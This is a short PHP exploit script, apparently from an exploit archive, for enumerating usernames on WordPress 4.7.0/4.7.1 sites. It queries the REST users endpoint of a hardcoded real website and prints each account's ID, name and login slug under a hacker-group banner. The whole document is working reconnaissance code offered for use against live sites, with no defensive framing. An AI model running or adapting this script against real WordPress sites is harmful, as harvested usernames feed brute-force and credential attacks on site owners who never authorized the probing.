WordPress 4.7.0/4.7.1 Username Enumeration

<?php

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk
header ('Content-type: text/html; charset=UTF-8');


$url= "https://www.obama.org";
$payload="/wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "======================== [ N45HT ] ========================\n";
    echo "\n";
    echo "\n";
    echo "Wordpress < 4.7.1 - Username Enumeration . recoded by ShinChan\n";
    echo "target : ".$url."\n";
    echo "\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "======================== [ N45HT ] ========================";}
else{echo "[*] No user";}


?>